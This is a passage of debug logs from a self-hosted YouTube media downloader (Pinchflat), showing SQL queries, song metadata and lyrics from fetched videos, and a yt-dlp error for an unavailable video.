do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nEven now I feel the heat inside your fervent gaze though you've fallen astray\nAnd like a fire you're defrosting my heart and soul\nThrough and through I will accept the love you gave to me, in return just behold me \nLike the sunlight is igniting the distant moon\n\nUntil last night, tears were falling like rain from my eyes\nBut now the world seems bright...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\nTell me, do you still remember? When our eyes first locked together?0\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#Macross #doyourememberlove #LynnMinmay #CaitlinMyers", "duration" => 388, "filename" => "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", "id" => "7EKCJlHjJgo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7EKCJlHjJgo", "playlist_index" => 14, "timestamp" => 1616252449, "title" => "Do You Remember Love? | ENGLISH VERSION | Caitlin Myers", "upload_date" => "20210320"} 22:20:23.949 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=0.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [201] 22:20:23.949 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [355] 22:20:23.949 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nParadox · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "duration" => 199, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-06-13Paradox[Y9oLpJIjNEU].NA", "id" => "Y9oLpJIjNEU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Y9oLpJIjNEU", "playlist_index" => 40, "timestamp" => 1560420027, "title" => "Paradox", "upload_date" => "20190613"} 22:20:23.950 [debug] QUERY OK source="settings" db=0.4ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:23.950 [debug] QUERY OK source="sources" db=0.6ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:23.950 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:23.950 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:23.950 [debug] QUERY OK source="sources" db=0.5ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:23.951 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:23.951 [debug] QUERY OK source="sources" db=0.3ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:23.951 [debug] QUERY OK source="media_items" db=0.4ms idle=0.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-03-20 15:00:49Z], 2] 22:20:23.952 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=0.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:27Z], 5] 22:20:23.952 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:23.953 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:24.152 [debug] QUERY OK source="media_items" db=0.7ms queue=198.5ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:24.153 [debug] QUERY OK source="media_items" db=200.3ms queue=0.2ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Caitlin Myers' English cover of \"Do You Remember Love\" by Mari Iijima\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/48853254 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"Do You Remember Love?\" - Originally by: Mari Iijima) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers and @NoelNoirMusic \n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Video: @ContestChar\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nIn a dream I heard an echo of your voice, my dear, gently pulling me near\nAnd for that moment, all my sadness had disappeared\nDawn arrives and I awake in my room feeling blue, wishin’ I could see you\n\nI let my eyes close and await you through fantasy\n\nUntil last night, tears were falling like rain from my eyes\nBut now my heart feels light...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nEven now I feel the heat inside your fervent gaze though you've fallen astray\nAnd like a fire you're defrosting my heart and soul\nThrough and through I will accept the love you gave to me, in return just behold me \nLike the sunlight is igniting the distant moon\n\nUntil last night, tears were falling like rain from my eyes\nBut now the world seems bright...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\nTell me, do you still remember? When our eyes first locked together?0\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#Macross #doyourememberlove #LynnMinmay #CaitlinMyers", "Do You Remember Love? | ENGLISH VERSION | Caitlin Myers", "7a3dafeb-7674-454c-87a0-fc2f28cea998", false, "7EKCJlHjJgo", 388, false, "https://www.youtube.com/watch?v=7EKCJlHjJgo", 14, "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", false, false, 2, [], 1, ~U[2021-03-20 15:00:49Z], ~U[2026-07-24 02:20:23Z], ~U[2026-07-24 02:20:23Z], "Caitlin Myers' English cover of \"Do You Remember Love\" by Mari Iijima\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/48853254 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"Do You Remember Love?\" - Originally by: Mari Iijima) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers and @NoelNoirMusic \n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Video: @ContestChar\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nIn a dream I heard an echo of your voice, my dear, gently pulling me near\nAnd for that moment, all my sadness had disappeared\nDawn arrives and I awake in my room feeling blue, wishin’ I could see you\n\nI let my eyes close and await you through fantasy\n\nUntil last night, tears were falling like rain from my eyes\nBut now my heart feels light...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nEven now I feel the heat inside your fervent gaze though you've fallen astray\nAnd like a fire you're defrosting my heart and soul\nThrough and through I will accept the love you gave to me, in return just behold me \nLike the sunlight is igniting the distant moon\n\nUntil last night, tears were falling like rain from my eyes\nBut now the world seems bright...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\nTell me, do you still remember? When our eyes first locked together?0\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#Macross #doyourememberlove #LynnMinmay #CaitlinMyers", "Do You Remember Love? | ENGLISH VERSION | Caitlin Myers", "7EKCJlHjJgo", 388, false, "https://www.youtube.com/watch?v=7EKCJlHjJgo", "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", false, 2, ~U[2021-03-20 15:00:49Z]] 22:20:24.153 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=199.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:24.154 [debug] QUERY OK source="sources" db=0.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:24.154 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:24.333 [debug] QUERY OK source="media_items" db=179.3ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:24.333 [debug] QUERY OK source="media_items" db=179.2ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:20:24.334 [info] Kicking off download for media item #51 (7EKCJlHjJgo) 22:20:24.334 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=179.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:24.335 [debug] QUERY OK source="sources" db=0.4ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:24.336 [debug] Current batch of media processed. Will check again in 1000ms 22:20:24.336 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:24.551 [debug] QUERY OK source="media_items" db=599.0ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nParadox · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Paradox", "cc8604a1-8187-4c89-9e93-fcb58736cf65", false, "Y9oLpJIjNEU", 199, false, "https://www.youtube.com/watch?v=Y9oLpJIjNEU", 40, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Paradox[Y9oLpJIjNEU].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:27Z], ~U[2026-07-24 02:20:23Z], ~U[2026-07-24 02:20:23Z], "Provided to YouTube by The Orchard Enterprises\n\nParadox · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Paradox", "Y9oLpJIjNEU", 199, false, "https://www.youtube.com/watch?v=Y9oLpJIjNEU", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Paradox[Y9oLpJIjNEU].NA", false, 5, ~U[2019-06-13 10:00:27Z]] 22:20:24.551 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/7d/5f7d8e7fdbc3e2a13ac765dea5b9cb95d586bdf117c43d8023d6b56aed0d23f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available 22:20:24.552 [debug] QUERY OK source="media_items" db=215.4ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:24.552 [error] yt-dlp download error for media item #194: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:20:24.552 [error] yt-dlp download will not be retried: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:20:24.553 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=216.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:24.553 [info] Sent 200 in 625ms 22:20:24.554 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=216.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:24.687 [info] CONNECTED TO Phoenix.LiveView.Socket in 20µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BSFccQ4SRDdcCVgfLSIJJTQQbRUfPwculLoFgZ-v7olOOo8sdzYfLKPm", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:24.696 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:20:24.702 [info] 